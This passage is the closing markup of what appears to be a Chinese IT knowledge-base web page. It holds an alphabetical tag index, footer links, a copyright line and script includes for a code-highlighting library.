href="/tags/G/1.htm" target="_blank">G</a><a href="/tags/H/1.htm" target="_blank">H</a><a href="/tags/I/1.htm" target="_blank">I</a><a
href="/tags/J/1.htm" target="_blank">J</a><a href="/tags/K/1.htm" target="_blank">K</a><a href="/tags/L/1.htm" target="_blank">L</a><a
href="/tags/M/1.htm" target="_blank">M</a><a href="/tags/N/1.htm" target="_blank">N</a><a href="/tags/O/1.htm" target="_blank">O</a><a
href="/tags/P/1.htm" target="_blank">P</a><a href="/tags/Q/1.htm" target="_blank">Q</a><a href="/tags/R/1.htm" target="_blank">R</a><a
href="/tags/S/1.htm" target="_blank">S</a><a href="/tags/T/1.htm" target="_blank">T</a><a href="/tags/U/1.htm" target="_blank">U</a><a
href="/tags/V/1.htm" target="_blank">V</a><a href="/tags/W/1.htm" target="_blank">W</a><a href="/tags/X/1.htm" target="_blank">X</a><a
href="/tags/Y/1.htm" target="_blank">Y</a><a href="/tags/Z/1.htm" target="_blank">Z</a><a href="/tags/0/1.htm" target="_blank">其他</a>
</div>
</div>
</div>
<footer id="footer" class="mb30 mt30">
<div class="container">
<div class="footBglm">
<a target="_blank" href="/">首页</a> -
<a target="_blank" href="/custom/about.htm">关于我们</a> -
<a target="_blank" href="/search/Java/1.htm">站内搜索</a> -
<a target="_blank" href="/sitemap.txt">Sitemap</a> -
<a target="_blank" href="/custom/delete.htm">侵权投诉</a>
</div>
<div class="copyright">版权所有 IT知识库 CopyRight © 2000-2050 E-COM-NET.COM , All Rights Reserved.
<!-- <a href="https://beian.miit.gov.cn/" rel="nofollow" target="_blank">京ICP备09083238号</a><br>-->
</div>
</div>
</footer>
<!-- 代码高亮 -->
<script type="text/javascript" src="/static/syntaxhighlighter/scripts/shCore.js"></script>
<script type="text/javascript" src="/static/syntaxhighlighter/scripts/shLegacy.js"></script>
<script type="text/javascript" src="/static/syntaxhighlighter/scripts/shAutoloader.js"></script>
<link type="text/css" rel="stylesheet" href="/static/syntaxhighlighter/styles/shCoreDefault.css"/>
<script type="text/javascript" src="/static/syntaxhighlighter/src/my_start_1.js"></script>
</body>
</html>